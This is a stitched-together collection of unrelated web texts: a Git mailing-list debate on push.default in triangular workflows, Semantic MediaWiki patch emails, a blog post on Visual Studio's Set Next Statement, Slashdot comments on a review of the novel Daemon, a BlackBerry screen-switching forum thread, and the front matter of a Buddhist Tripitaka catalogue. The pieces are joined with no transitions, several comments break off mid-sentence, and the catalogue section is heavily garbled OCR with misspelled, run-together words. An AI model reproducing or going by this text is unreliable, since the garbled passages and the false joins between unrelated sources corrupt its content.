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https://discuss.leetcode.com/topic/102/rearrange-string
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Ramkumar Ramachandra <artag...@gmail.com> writes: > Junio C Hamano wrote: >> The name under which the local branch is published needs a sensible >> default (when branch.$name.push is not specified), and I agree that >> you would get the name of the branch my work was forked from if you >> reuse the "upstream" code. I am saying that it does not necessarily >> give us a good default. > > See, that's the problem: push.default is simply a default refspec to > push to for all branches, that can be _overridden_ by > branch.<name>.push.
Advertising
Think again and remember that Git is distributed. As you say, the push.default configuration specifies the mode that computes what remote branches are updated. Where we differ is that I consider "triangle" branch at your repository I fetch from and "triangle" branch at the repository I push to (in the triangular workflow) different entities, just like "triangle" branch in my local repository is different from both. branch.triangle.merge configuration is used to link the first and the third, and the first is called "upstream" of the third for this reason. It does not have anything to do with the second. You seem to think branch.*.merge is used to link the second with the first, and I do not think it makes any sense. > Getting an override is not going to solve the > problem we are facing: what to do when branch.<name>.push is > unspecified? Fall back to push.default, right? That is not the issue. We both are solving it by falling back to push.default, but the problem is that the mental picture you have for push.default has not been updated to support the triangular world better. In the centralized world, the first and the second (in the above description) remote branches, both of which are named "triangle", are the same, because they are in the same remote repository. Trying to reuse that in the triangular world is *not* automatically being orthogonal and better; it may be simply keeping things inconvenient by choosing a wrong definition, which is what I am trying to avoid by thinking things through. >> Now think _why_ I renamed the branch on my end, i.e. not calling >> that branch in question "triangle" that is the blanket name for the >> collective effort but calling it with a more specific name >> "pushbranch", in the first place. > > Look, it's very simple. upstream was built to support the case when > the local branch name is different from the remote branch name, but it > was too specialized for central workflows. How do we extend it for > triangular workflows? "upstream" is for the case where you push back to your "upstream", that which you fetch from and integrate with. It is perfectly fine to extend it for triangular workflow by erroring it out when it is used, as you do *not* want to update "upstream" in that workflow. You are sending your work to your publishing repository. > Just like we introduced branch.<name>.pushremote to override > branch.<name>.remote, we get branch.<name>.push to override > branch.<name>.merge. If branch.<name>.pushremote is unset, where do > the pushes go? branch.<name>.remote. If branch.<name>.push is > unspecified, what is the refspec to be pushed? branch.<name>.merge > (when push.default = upstream) [*1*]. > > What does this mean? Doesn't it just mean that you do not understand "distributed"? What makes you think that the repository you fetch from and the repository you push to, which are by definition different repositories, have to share the same namespace? > I publish the branch "triangle" on ram (what my > local branch is called or what push.default I use is irrelevant). You > have a branch called pushremote with branch.pushremote.remote set to > ram, remote.pushdefault set to junio, branch.pushremote.merge set to > refs/heads/triangle, and push.default set to upstream. > > # on jc's machine; on branch pushremote > $ git pull > # integrates changes from ram's triangle just fine > $ git push > # publishes the branch as triangle on remote junio Only if I want to publish the result of the work forked from your "triangle" as my "triangle", but that is not the case. A fork to be integrated by other is by definition more specialized than the original, and I would publish my "pushbranch" subtopic as such, not as "triangle". It appears that the message you are responding to failed to convey the primary point, so it may not be very useful for me to repeat it here, but anyway. > [Footnotes] > > *1* remote.pushdefault overrides branch.<name>.remote, while > push.default will be overridden by a future branch.<name>.push. Not > exactly elegant, is it? But that is not what is happening, unless you keep thinking "push.default decides the name of the branch regardless of what repository it lives in", which is where our difference lies, I think. Imagine the case where I forked two branches from your "triangle" topic and pushing them to my repository using the triangular workflow. By your definition, they will both try to push to "triangle", which means you, the "triangle" topic maintainer, cannot receive two independent pull requests from me. You can only get a single branch that pre-merges both, and if you want to get one but not the other, you have to do the untangling of these two topics. The solution to the above becomes clear and simple, once you stop thinking that the branch namespace you have has to be the same as the branch namespaces other people have (which was limitation imposed by central workflow, to which triangular has no reason to be bound to). Pushing to "upstream" by tying the name I fetch from and the name I publish the result as is not appropriate in triangular workflow, so just fail it. I am not saying that you have to pick one to use for push.default among the remaining ones (i.e. matching, current, what else?). It is very plausible that the triangular workflow wants a different logic to pick what branches are to be updated and how. Perhaps we would want something that is capable of mapping your local branch name to a branch name suitable in your publishing repository, and I am not opposed to have such a mode. But I think it _is_ a short-sighted mistake to consider "upstream" the appropriate choice, if the reason to think so is only because that is the only one that does any form of mapping in the current system that was specifically designed to support workflow that pushes back to where you fetched from to integrate with (e.g. centralized). We need to first ask if its mapping (i.e. what the branch at "upstream" repository you merge into your local branch in question is named) is the appropriate mapping to be used also for pushing. And I asked that question in the message you are responding to (and my answer is it is not suitable). -- To unsubscribe from this list: send the line "unsubscribe git" in the body of a message to majord...@vger.kernel.org More majordomo info at
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Yup, thunderbird renders attachments inline. It helps out when I don't
feel like bothering opening another application to view the file.
~Daniel Friesen (Dantman, Nadir-Seen-Fire) []
Temlakos wrote:
>?
>>
>>
>>
>
>
> ------------------------------------------------------------------------------
> Let Crystal Reports handle the reporting - Free Crystal Reports 2008 30-Day
> trial. Simplify your report design, integration and deployment - and focus on
> what you do best, core application coding. Discover what's new with
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--
~Daniel Friesen (Dantman, Nadir-Seen-Fire) []
Markus, Fabian, and all:
Attached please find a corrected aggregate patch, to be applied to the
version of SMW_DV_Time.php found in SMW 1.4.3 (the download). This will
install all of my enhancements and will preserve the recent enhancements
that you added, which are:
1. Treatment of year numbers having six figures to the left of the
decimal point, as Julian Days. In my version the user may annotate an
actual Julian Day taken from an astronomical chart, and it will process
correctly according to the recognized JD convention.
2. Support for imposition of an ISO8601 date format in printouts. In
this version, /all/ supported calendar models come out in ISO8601. If
that is not according to convention, please let me know.
The version that I sent earlier today, caused the wiki to "hang" because
it had an unbalanced curly brace in a function declaration.
The new SMW_DV_Time.php has now been tested in SMW 1.4.3 at
<> and in seven subsidiary wikis, each in a
different language. I have registered all seven at the SMW Registry.
Temlakos
Markus, Fabian, and all:
Attached please find a corrected aggregate patch for the Languages
subdirectory of SMW's core code (version 1.4.3). The previous patch that
I sent out, mistakenly declared the function findMonth($symbol) twice;
this causes the entire wiki to "hang." Removal of the duplicate
declaration from SMW_Language.php solves the problem.
Included are new translations for the two special properties introduced
recently in SMW 1.4.3, namely Modification_Date and
Has_improper_value_for. Included also is full internationalization
support for my enhanced version of SMW_DV_Time.php.
Temlakos
Hey,
Semantic Maps has an aliasing system that's used to allow alternate names for result formats. A simple example is the googlemaps format. It has several aliases, like gmaps and google, that get linked to the same Query Printer class as the googlemaps format.
When viewing a list of available formats, like on the Special:Ask page, formats with aliases get displayed multiple times. Note that although the actual formats are different, the displayed name for the QP is the same. You can see this issue on referata [0]. Since Semantic Maps is the only SMW extension I know of that uses an alias system, this is probably a new problem. As I see it, there are 2 solution for this problem:
1. Only display the first format, and ignore the aliases, by ignoring QP names that already have been added. This is very easy to do, although maybe not the most robust way. It also assumes the 'main name' for the format gets added to $smwgResultFormats first, so before the aliases.
2. Allow to provide arrays as values for $smwgResultFormats items, which contain a main name, and optionally aliases. That way SMW could distinguise between main names and aliases, and display a list of only the main names, and if wished show the available aliases for a selected format.
Of course, there might be another, better approach :)
6C 69 66 65!
Markus, Fabian, and all:
Attached is an aggregate patch for SMW_DV_Time.php, that combines my
recent enhancements with the two enhancements that I noted that the file
had in the recent download of SMW 1.4.3:
1. Recognition of numbers greater than 100000 as Julian Days rather
than as years.
2. Support for the dictation of an ISO6801 format.
I changed those two implementations as follows:
1. I chose to recognize numbers greater than /or equal to/ 100000 as
Julian Days.
2. As you know, I don't support just one printout, but four. Therefore
I elected to support ISO printouts in all calendar models. (The XSD
Value, now known as args[0], is still a proleptic Gregorian date with a
zero-based year, as I had originally intended.)
I'm sending it on now, so that you can look it over. In the meantime, I
will load SMW 1.4.3 on my own wiki. I believe that I will have to run
the refreshData script, because for the first time I'm moving up to a
version of SMW that does not use the old getXSDValue() and
parseXSDValue($value,$unit) functions.
Temlakos
Gentlemen:
I am about to test SMW 1.4.3 with my enhanced version of SMW_DV_Time.php.
The first step is to "port" my enhancements to the language files into
SMW 1.4.3. That I have now done. The attached patch file contains all my
modifications to those language files.
Why did you discontinue Korean language support? I admit that it came
from Google's Language Tools, but surely that would be better than no
support at all. In any event, if you apply this patch to the languages
subdirectory of SMW, this will re-create the Korean-language file, and
/also/ provide translations for the new special properties "Modification
Date" and "Has Improper Value For."
All other language files (except the Slovakian and Hebrew, which I
wasn't equipped to translate) have the required enhancements to support
the new version of SMW_DV_Time.php, with its internationalization of
twelve-hour symbols and calendar symbols. In addition, every one of
these files except the English file (which doesn't need any translation)
and the German file has the translations of the special-property names
and, in most cases, translations of the namespace names "Concept" and
"Concept talk." (Thank you, Markus, for taking care of these things
already in the German file. Yours is the only language file other than
English that contained all those necessary new translations.)
I initially included a file called SMW_LanguageZh.php that I used in my
own wiki, since I did not create a version with the specific long prefix
Zh_cn or Zh_tw. Then I decided that any wiki developer ought to be able
to handle that himself. So the patch does not create any new
Chinese-language files, but simply enhances the existing ones.
An aggregate patch of SMW_DV_Time.php will follow, as soon as I have
verified that my current version is consistent with the DBkeys system.
Temlakos
|
https://sourceforge.net/p/semediawiki/mailman/semediawiki-devel/?viewmonth=200908&viewday=20&style=flat
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CC-MAIN-2017-51
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refinedweb
| 1,087
| 65.52
|
I haven’t had a chance to post much recently, but I ran into a nice mail on an internal alias that listed the restrictions of set next statement. Set next statement is a very powerful feature of the debugger that allows the IP (instruction pointer) to be moved. It’s particularly useful when combined with Edit and Continue. This feature can be accessed from the context menu of the editor when the debugger is active. It may also be accessed by simply dragging the yellow arrow that appears on the left hand side of the screen while debugging. There are a number of restrictions associated with changing the IP including:
· It can only be set within the same function/method
· There are restrictions around setting it into or out of a catch block (exception handler)
· It must usually be moved to source lines
· The IP cannot be set when the debugger is stopped at a first chance exception
· The IP can only be set in the active frame (the frame that is actually executing). That is, you cannot go 6 frames up the call stack and try to change the return address.
The most important thing to understand about this feature is that there is no real magic going on. It does a very minimal amount of work to move the IP; it does not try to change values back to their previous state if the IP is moved higher up in a method. If you’re tracking down a bug in your application, it’s often useful to step over most methods until something unexpected happens (e.g. a return value isn’t what you expect). You can then use set next statement to re-run the method but this time step into it and examine what went wrong. This can help track down bugs much faster, and of course, with Edit and Continue you can often fix the problem and then re-run the offending block of code to see if the change worked.
Imagine that you have this simple, somewhat useless bit of code:
using System;
class Example
{
static void Main(string[] args)
{
int initialValue = 20;
initialValue++;
Console.WriteLine(initialValue);
}
}
Let’s suppose that you’re debugging this and your IP is located on Console.WriteLine:
Now you right-click on the source line containing initialValue++ and select “Set Next Statement”:
Finally you hit F5 to finish running the application. The value written to the console is 22, not 21. Again, this is because Set Next Statement doesn’t perform any kind of state analysis, it simply moves the IP to the location indicated. In this case, it’s possible to get the original behavior by simply moving the IP up to the source line that sets the value of initialValue. That’s trivial in this case since the initial assignment is immediately above the modification. If there is a significant amount of code that you don’t want to re-run, then you can also modify the value in the locals/watch/etc. windows instead.
You've been kicked (a good thing) - Trackback from DotNetKicks.com
Welcome to the eighth installment of Community Convergence . This week let's focus on two C# Wikis available
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Daemon
samzenpus posted more than 5 years ago | from the read-all-about-it dept. (5, Funny)
Reality Master 201 (578873) | more than 5 years ago | (#26610071)
No, not even once. Not even after having read this review.
Re:Nope. Never. (5, Interesting)
kaiidth (104315) | more than 5 years ago | (#26610319). (3, Funny)
Anonymous Coward | more than 5 years ago | (#26610633)
Sobol is dead when the book begins (0)
Anonymous Coward | more than 5 years ago | (#26610077)
I'm not dead yet.
Re:Sobol is dead when the book begins (0)
Anonymous Coward | more than 5 years ago | (#26610173)
Re:Sobol is dead when the book begins (2, Funny)
ErrataMatrix (774950) | more than 5 years ago | (#26610905)
Just two words (4, Interesting)
zappepcs (820751) | more than 5 years ago | (#26610133)
Andromeda Strain [wikipedia.org] oh... two more words, "insomnia cure"
Re:Just two words (-1, Offtopic)
Smidge207 (1278042) | more than 5 years ago | (#26610159)
Never forget, computers are wonderful tools, but for most subjects students learn at that point in their lives (middle/high school in the US), computers aren't necessary. [zoy.org]=
Re:Just two words (2, Insightful)
oroborous (800136) | more than 5 years ago | (#26610643)
Re:Just two words (4, Insightful)
ajs (35943) | more than 5 years ago | (#26610663) (3, Insightful)
mooingyak (720677) | more than 5 years ago | (#26610713)
Neal Stephenson, sure.
Vernor Vinge, absolutely.
MICHAEL CRICHTON?? Are you kidding?
Re:Just two words (4, Interesting)
rho (6063) | more than 5 years ago | (#266108.
Re:Just two words (1)
kungfugleek (1314949) | more than 5 years ago | (#26610665)
CSI NY (4, Informative)
Bill Dimm (463823) | more than 5 years ago | (#26610193)
Do you find the idea of creating a "gui interface using visual basic" to see about tracking an ip address as more fit for a sitcom rather than crime drama?
In case you were wondering, that happened in CSI NY recently. Truly cringe-worthy.
Re:CSI NY (2, Insightful)
dedazo (737510) | more than 5 years ago | (#26610233)
My guess is that's why it was mentioned.
The video was recently removed from YouTube due to a DMCA takedown request, IIRC. I'm sure there are copies out there.
Re:CSI NY (1)
Bill Dimm (463823) | more than 5 years ago | (#26610305)
My guess is that's why it was mentioned.
I assume so. I just thought it was odd that the poster danced around exactly which show did it ("crime drama").
Re:CSI NY (3, Funny)
lorenlal (164133) | more than 5 years ago | (#26610579) (1)
sesshomaru (173381) | more than 5 years ago | (#26610801)
Well, remember though, in the Chuck Alternate Universe, Atari is still a going concern which was up until recently run by a Japanese military satellite scientist and "has more PhDs than Microsoft."
When I see things like this, my brain just says, "Don't worry about it, here's some music. Yvonne will be back on soon. Oh, see, there she is in a skirt."
Besides, every so often they do something fun like, "Do we have any Rush CDs?" "No need my friend, I have them all on my Zune." "Really? You have a Zune." "Naah, just kidding, I'll get my iPod."
That makes it all worth it... not to mention doing an entire episode about Missile Command, sketchy history and current events aside....
Hey, I still like Tron... even though it hurts my brain to pretend any part of it is plausible it's worth it to watch David Warner chew scenery... end of line.
Re:CSI NY (1)
stoolpigeon (454276) | more than 5 years ago | (#26610951)
I linked to a clip of it on youtube when I submitted the review. But it sounds like the clip has been pulled and so the editor must have pulled the link.
Re:CSI NY (0)
Anonymous Coward | more than 5 years ago | (#26610755)
At the risk of putting the clip in danger of another takedown:
Obfuscated for obfuscatory purposes.
In case it gets taken down, you're lazy, or you don't trust URL's posted by Anonymous Cowards, the exchange is as follows.
(Reading a giant flat panel screen showing a browser, on a site entitled, "ny 24/7 News Blog"):
"For weeks I've been following the Cabbie Killer murders with a certain morbid fascination."
"This is being posted in real time!"
"I'll create a GUI interface using Visual Basic; see if I can track an IP address."
I'd identify the characters, but I don't watch the show so I have no idea who they are.
Re:CSI NY (4, Insightful)
hansamurai (907719) | more than 5 years ago | (#26610291) (5, Funny)
QuantumRiff (120817) | more than 5 years ago | (#26610673) (1)
camperslo (704715) | more than 5 years ago | (#26610741):CSI NY (2)
Skrynkelberg (910137) | more than 5 years ago | (#26610851)
A microwave device with enough energy to instantly boil all water in the vicinity - but spares humans? Give me a break. That ending ruined a perfectly good action flick.
Re:CSI NY (4, Interesting)
Chyeld (713439) | more than 5 years ago | (#26610927) (3, Insightful)
sketerpot (454020) | more than 5 years ago | (#26610293)
Re:CSI NY (1)
BenjiTheGreat98 (707903) | more than 5 years ago | (#26610543).
Thank God this is the last season. It needed to be off the air about 3 years ago...
Re:CSI NY (4, Funny)
sorak (246725) | more than 5 years ago | (#26610693):CSI NY (1)
BenjiTheGreat98 (707903) | more than 5 years ago | (#26610815)
Well, yes, I suppose there is that too
:)
Re:CSI NY (2, Interesting)
atraintocry (1183485) | more than 5 years ago | (#26610841):CSI NY (0)
Anonymous Coward | more than 5 years ago | (#26610433)
Linky (youtube [youtube.com] pulled it, bastards):
Mirror [digyourowngrave.com]
Mirror [stupidshiz.com]
Re:CSI NY (1)
digitalhermit (113459) | more than 5 years ago | (#26610495).
11th Hour (1)
sombragris (246383) | more than 5 years ago | (#26610565)
In Eleventh Hour, the main character needed a T3 connection to perform online search on a patent. And the girl offered him to go to her dorm where she had Wi-Fi, "in case you need more privacy"... ouch.
Re:11th Hour (0)
Anonymous Coward | more than 5 years ago | (#26610825)
Re:11th Hour (1)
Hatta (162192) | more than 5 years ago | (#26610907)
I played the Eleventh Hour [wikipedia.org] . Wifi wasn't even invented back then.
Re:CSI NY (1)
oldspewey (1303305) | more than 5 years ago | (#26610645)
"gui interface using visual basic"
In case you were wondering, that happened in CSI NY recently. Truly cringe-worthy.
I've considered the entire CSI franchise to be cringe-worthy right from the outset.
Re:CSI NY (4, Funny)
twistedsymphony (956982) | more than 5 years ago | (#26610973)
They had to quit half way through the first episode for health reasons.
Re:CSI NY (3, Insightful)
genner (694963) | more than 5 years ago | (#26610723):CSI NY (1)
arthurpaliden (939626) | more than 5 years ago | (#26610937)
Re:CSI NY (3, Interesting)
Hatta (162192) | more than 5 years ago | (#26610963).
Why people watch movies.. (4, Insightful)
perlhacker14 (1056902) | more than 5 years ago | (#26610203).. (1, Insightful)
Anonymous Coward | more than 5 years ago | (#26610445)
So you spend the first part of your post explaining what's wrong with what he wrote, and then you finish with that. But of course it's not nitpicking when you do it - you're simply setting things right.
Re:Why people watch movies.. (4, Interesting)
Daniel Dvorkin (106857) | more than 5 years ago | (#26610467).. (4, Insightful)
anss123 (985305) | more than 5 years ago | (#26610635)
Re:Why people watch movies.. (3, Insightful)
Daniel Dvorkin (106857) | more than 5 years ago | (#26610:Why people watch movies.. (1, Funny)
Anonymous Coward | more than 5 years ago | (#26610479)...
Re:Why people watch movies.. (1)
FrameRotBlues (1082971) | more than 5 years ago | (#26610511)
Re:Why people watch movies.. (1)
amn108 (1231606) | more than 5 years ago | (#26610515)
It all boils down to what an average sitcom/movie viewer wants - and after a hard day at work, asking for him/her to digest a picture of how things really are results in the viewer changing the channel in search of some mind numbing soothing action. We do not want truth, we want fantasy and escapism, which explains why we want to see technology on screen as IP adresses taking half the monitors space, and every action a character takes on the computer give off some cool sound effect. The true picture is true picture, but this is not what people want on average.
Ironically, the movie that concerned the issue of real life versus fantasy, truth versus illusion - The Matrix trilogy - had at least one scene that gave the true picture of what technology we ACTUALLY use - it was one where Trinity used a Unix command line terminal to access and disable parts of city power grid.
Re:Why people watch movies.. (1)
cbreaker (561297) | more than 5 years ago | (#26610625).
It's not nitpicking. Nitpicking is saying "Ohh that movie was awful because you could see a difference in the shadow between cuts." However, saying "ohh that show is horrible because they lifted all of their incriminating data off of a hard drive platter that has been melted down with an incinerator; they put it into a machine which spits out fully viable data that is modeled in 3D space with names like "DELETED VIDEO FILE OF ME KILLING AMY."
Re:Why people watch movies.. (1)
PeanutButterBreath (1224570) | more than 5 years ago | (#26610923) you because there was plenty to like.
Re:Why people watch movies.. (1)
ajs (35943) | more than 5 years ago | (#26610735). Showing something on the screen that makes no sense to someone who knows what you're talking about (fly-by Unix in Jurasic Park) is just ignorance for ignorance's sake.
Re:Why people watch movies.. (1)
DahGhostfacedFiddlah (470393) | more than 5 years ago | (#26610775)
For the enlightened on
/.: please tell me that you are capable of sitting down and enjoying a film without nitpicking
Depending on the type of film and the extent of the flaw, sometimes I can't. I don't mind utterly outrageous premises as long as they're part of the story. In a cartoon, I'll accept that someone is blown apart by dynamite, and then appears in the very next scene. If it were to happen in CSI, I'd quickly stop watching.
I want a world to at least be internally consistent, so I can tell what's going on. If real-world technology is a significant plot point, and then magically does things it is utterly incapable of doing, I can't enjoy it because I have no anchor to the story. The next scene could literally show a computer program that solves the entire crisis. A deus ex machina like that can ruin a story.
Re:Why people watch movies.. (1)
DragonWriter (970822) | more than 5 years ago | (#26610783) pretty likely that many
/. readers might prefer entertainment products where the tech isn't blatantly wrong.
Re:Why people watch movies.. (2, Interesting)
moderatorrater (1095745) | more than 5 years ago | (#26610803):Why people watch movies.. (1)
CopaceticOpus (965603) | more than 5 years ago | (#26611005).
Slashvertisement (1, Funny)
Anonymous Coward | more than 5 years ago | (#26610237)
What a nice slashvertisement. Where do I apply to get my fiction mentioned here too?
Re:Slashvertisement (1)
Daniel Dvorkin (106857) | more than 5 years ago | (#26610573)
Where do I apply to get my fiction mentioned here too?
Write a novel. Get it published. Then see if someone on
/. wants to review it.
Let us know how that works out.
Re:Slashvertisement (1)
Aladrin (926209) | more than 5 years ago | (#26610753)
Optionally:
1) Pay someone to write a review
/.
2) Pay someone to submit said review to
3) Pay someone at Slashdot to post said post about said review
4) ???
5) Profit!
Re:Slashvertisement (1)
Daniel Dvorkin (106857) | more than 5 years ago | (#26610983):Slashvertisement (1)
Skrynkelberg (910137) | more than 5 years ago | (#26610913)
Movies (5, Insightful)
EdIII (1114411) | more than 5 years ago | (#26610257) (5, Funny)
TripleDeb (1240154) | more than 5 years ago | (#26610883)
Re:Movies (0)
Anonymous Coward | more than 5 years ago | (#26610887)
Battlefield: Earth made perfect sense! Everyone knows that jet fighters require so little maintenance that they'll work perfectly even if you leave them lying around for three thousand years.
It's a well known fact that after a nuclear war, the only things left will be cockroaches, fully-functional Harriers, and lawyers.
Of course, the cockroaches are an urban legend. I seem to recall reading fairly recently that they have a surprisingly low radiation tolerance. And of course, they're tropical and can't survive a nuclear winter.
So, just the lawyers and jets.
Re:Movies (4, Funny)
genner (694963) | more than 5 years ago | (#26610891):Movies (3, Funny)
kaiidth (104315) | more than 5 years ago | (#26610971)
I think Travolta would be deeply upset if you suggested that Battle Field Earth misrepresented 'the Tech'.
The kind authored by LRH, that is.
Generous Author (5, Interesting)
pdragon04 (801577) | more than 5 years ago | (#26610297)!
Live Free or Die Hard anyone? (1)
Spice Consumer (1367497) | more than 5 years ago | (#26610311)
No good ideas come to mind.... (2, Interesting)
panoptical2 (1344319) | more than 5 years ago | (#26610327)
Re:No good ideas come to mind.... (2, Interesting)
invisiblerhino (1224028) | more than 5 years ago | (#26610545) say. They would just say "it's gone backward in time".
Still, this is unbelievable nitpicking. Primer was wonderful and thoughtprovoking, and I hope Daemon is if and when I read it.
The Net (or how much it sucked, technically) (0)
Anonymous Coward | more than 5 years ago | (#26610585)
I think you missed the point about that flick (yes, the tech talk is mostly babelspeak nonsense, and at times I wanted to throw up when script writers take liberties with technical details) but I think it was more about the general over reliant and blind trust placed on computers than anything else.
FINUX (0)
Anonymous Coward | more than 5 years ago | (#26610343)
> have you ever wondered what it would be like if one of us, a geek, wrote a techno-thriller?
If you had read any of the stuff that's been written, you wouldn't have to "wonder" rhetorically. I for one thought Stephenson did a decent job in his treatment of the operating system FINUX in Cryptonomicon, and I'm sure there are other examples.
Some other examples (4, Informative)
tamyrlin (51) | more than 5 years ago | (#26610425) (2, Informative)
chemguru (104422) | more than 5 years ago | (#26610641)
Cuckoo's Egg by Clifford Stoll
Re:Some other examples (1)
mooingyak (720677) | more than 5 years ago | (#26610789):Some other examples (1)
troll8901 (1397145) | more than 5 years ago | (#26610987)
Also some movies.
* Firewall (2006) [wikipedia.org] - technology is portrayed pretty accurately and down-to-earth; focus is on plot.
You should write more. Your posts are very informative.
Sobol? (1)
Shag (3737) | more than 5 years ago | (#26610431)
Encyclopedia Brown would have sorted this all out in a lot fewer pages.
(Am I the only one who has this namespace collision?)
Re:Sobol? (1)
brunes69 (86786) | more than 5 years ago | (#26610581)
Holy crap thanks for making me remember those books I read as a kid!!!
Man I have to hunt down some copies...
I wonder.... (1)
xymog (59935) | more than 5 years ago | (#26610435)
Re:I wonder.... (1)
galvanash (631838) | more than 5 years ago | (#26610609)
Often but not. (1)
Steauengeglase (512315) | more than 5 years ago | (#26610453).
Available for the Kindle on Amazon (0)
Anonymous Coward | more than 5 years ago | (#26610455)
Just downloaded it, now I have to work so I can't read it
To Answer The Question: +1, Informative (0)
Anonymous Coward | more than 5 years ago | (#26610525)
NO. I do not watch television because it does more damage than any other drug [wikipedia.org] .
Yours In Socialism,
Kilgore Trout
"That relative" (1)
Gizzmonic (412910) | more than 5 years ago | (#26610531)
From TFBR: "
People who are on the outside, the non-techie types may find this book confusing and hard to understand. That relative that calls you and asks what happened to their toolbar in word that seems to have disappeared may not really get this book."
Don't worry, they're busy reading "The Da Vinci Code."
As long as there's a real movie as well (1)
DrugCheese (266151) | more than 5 years ago | (#26610557) don't have to spell everything out.
Re:As long as there's a real movie as well (0)
Anonymous Coward | more than 5 years ago | (#26610881)
It's so it's not boring.
Imagine if Crash Override hacking into the Gibson were displayed realistically to the masses:
You'd have Johnny Lee Miller sitting at a computer with some Fritos and Mt. Dew typing into a green-on-black terminal with random text scrolling by.
About as interesting as watching paint grow. Or you could watch some (for the time) really awesome CGI.
I'll pass (3, Insightful)
jollyreaper (513215) | more than 5 years ago | (#26610559):I'll pass (2, Insightful)
Leafheart (1120885) | more than 5 years ago | (#26610857)! (2, Funny)
tamyrlin (51) | more than 5 years ago | (#26610993)...
the cuckoo's egg (1)
Yaur (1069446) | more than 5 years ago | (#26610627)
Re:the cuckoo's egg (1)
Maximum Prophet (716608) | more than 5 years ago | (#26610705)
Hot Chicks Too Distracting (1)
Dodder (1410959) | more than 5 years ago | (#26610677)
Re:Hot Chicks Too Distracting (1)
Dodder (1410959) | more than 5 years ago | (#26610797)
oh, one of those (1)
the_wesman (106427) | more than 5 years ago | (#26610703)
(in thick "chicago guy" accent)
oh you must mean one a dem dere Graphical User Interface interfaces - i heard a dem
Am I the only one here (1)
giorgiofr (887762) | more than 5 years ago | (#26610709)
Review or Advert? (-1, Flamebait)
Wubby (56755) | more than 5 years ago | (#26610743)
I thought the "Books" section was for reviews. This "review" seems cut and pasted from some marketing copy. Either that, or has a hard-on for the author.
Or a sci-fi thriller (0)
Anonymous Coward | more than 5 years ago | (#26610773)
For example, this book has a chapter where version control plays a key part (and there's an online version or dead tree version).
We'll need to hack all IPs simultaneously (0)
Anonymous Coward | more than 5 years ago | (#26610811)
Our webs are down, sir. We can't log in!
Which webs?
All of them.
They've penetrated our code walls. They're stealing the Internet!
We'll need to hack all IPs simultaneously.
reality check (0)
Anonymous Coward | more than 5 years ago | (#26610817)
And if so, have you ever wondered what it would be like if one of us, a geek, wrote a techno-thriller?
Endless whinning from some spotty herbert who dare not leave the basement at his mum's house?
I for one can hardly wait.
Zoom, Enhance (4, Funny)
0prime (792333) | more than 5 years ago | (#26610847)
Yes, now we can read the name on that credit card of the guy 50 yards in the background of the picture taken with a cellphone camera.
The lack of tech understanding in popular culture. (1, Interesting)
GPLDAN (732269) | more than 5 years ago | (#26610977)
It happened in TNG, and you could start to tell when the stories became character driven, and it became a soap opera in space. Will Deanna Troi hook up with Riker? Who the fuck cares?..
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This is your resource to discuss support topics with your peers, and learn from each other.
09-01-2009 05:13 PM
Hello, I have a problem with switching screens. Here's my code (both screens extends MainScreen):
public class Main extends UiApplication {
private TrainLinkScreen trainLinkScreen;
private WorkingScreen workingScreen;
private String message;
public static void main(String[] args) {
new Main().enterEventDispatcher();
}
public Main() {
workingScreen = new WorkingScreen();
pushScreen(workingScreen);
try {
trainLinkScreen = new TrainLinkScreen();
} catch (GpsException ex) {
message = ex.getMessage();
} catch (FileReaderException ex) {
message = ex.getMessage();
}
if (message != null && !message.equals("")) {
invokeLater(new Runnable() {
public void run() {
Dialog.alert(message);
System.exit(1);
}
});
} else {
popScreen(workingScreen);
pushScreen(trainLinkScreen);
}
}
}
The problem is, that the workingScreen doesn't show. The downloading takes time a bit, so I wanted to put there a screen like "I'm working, please wait....", but it doesn't show, the device freezes for a few seconds and then the trainLinkScreen appears. Could somebody please write where's the problem? I tried invokeLater on the first screen, but it ends with crush on the popScreen(trainLinkScreen). I tried invokeLater on the trycatch block too, but it doesn't work either. Please help.
Solved! Go to Solution.
09-01-2009 05:49 PM
Probably you are doing a little too much in your constructor. Instead, put the "I'm working" status into a different method. the IamWorking() method first updates the screen with something to inform the user (a textfield or a guagefield for example), after that, put the other 'stuff' from your constructor which is taking so much time. Then, before enterDispatcher, explicitly call IamWorking.
09-02-2009 03:47 AM
Ok, I now have the iAmWorking() method, which contains the workingScreen initialization and shows it; and an initialize() method, which contains the other "stuff" from the constructor. And in the main method I call:
public class Main {
public static void main(String[] args) {
TrainsUiApplication tua = new TrainsUiApplication();
tua.iAmWorking();
tua.enterEventDispatcher();
tua.initialize();
}
}
the workingScreen shows, but there's nothing going on after that
Could you please tell me where's the problem? Thanks.
09-02-2009 08:02 AM
public class Main {
public static void main(String[] args) {
TrainsUiApplication tua = new TrainsUiApplication();
tua.iAmWorking();
tua.initialize();
tua.enterEventDispatcher();
}
09-02-2009 09:15 AM
This has the same effect as the first case, I see no screen for a 20 seconds and then I see the trainLinkScreen, without the workingScreen even showing...
If I use invokeLater() on initialize() method, then the first screen displays correctly, but then, If I correnctly understood, I can not use a locationProvider in it because the method getLocation() throws an exception: "getLocation() method cannot be called from event thread". I don't know what to do
09-02-2009 09:39 AM
09-02-2009 10:15 AM
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https://supportforums.blackberry.com/t5/Java-Development/Problem-with-switching-screens/m-p/323230
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CATALOGUEOF. .TFIE CHINESE TRAnSLATIONOFTIDE BJDDHIST TRIPITAxKATHE SACRED CANONOF THEBUDDHISTS IN CHINA AND JAPANCOMPILEDBY ORDER OF THE SECRETARY OF STATE FOR INDIABYBUNYIUNANJIOPRIESTOF THETEMPLE, EASTERN HONGWANZI, JAPAN,MEMBER OF THEROYALASIATICSOCIETY, LONDONxforbAT THE CLARENDDN PRESSM MCCLXXXIII[ AU rights reserved 3T4PROFESSOR MAX MLLER,:IN GRATEFUL AND RESPECTFUL REMEMBRANCEOFHIS BIND INSTRUCTION, HELP, AND SYMPATHY,THIS CATALOGUE ISDEDICATEDBYHIS PUPILBUN'YIUNANJIO.,/
CONTENTS.Introduction . .
CATALO.GUE,COLUMN1Pin-xo-pu, . Pragi~xpramita Class. Nos. z-221 Pao-tsi-pu, Ratnakta Class. . Nos. 2 3 -60 . 9p T-tsi-pu, IYfahsannipata Class. Nos. 61-8627 Hwa-yen=pu, Avatamsaka Class. Nos. 87-112 3 3Ni@=phan-pu, Nirvana Class. Nos. 1 1 3-1 25 3 9Stras of duplicate transla-tions, exluded from the preceding five Classes. Nos. x 26-3 75 .
. 41,, VII. V. pF 41 Tan-yi-ki, Sutras of single-'translation, excluded from the five Classes.Nos. 3 76-541
9 3PART II. 4Siao-shaft-kin, Stras of the Hinayana 12 7Class I. ' x ` of -han-pu, gama Class. ' Nos. 542-678
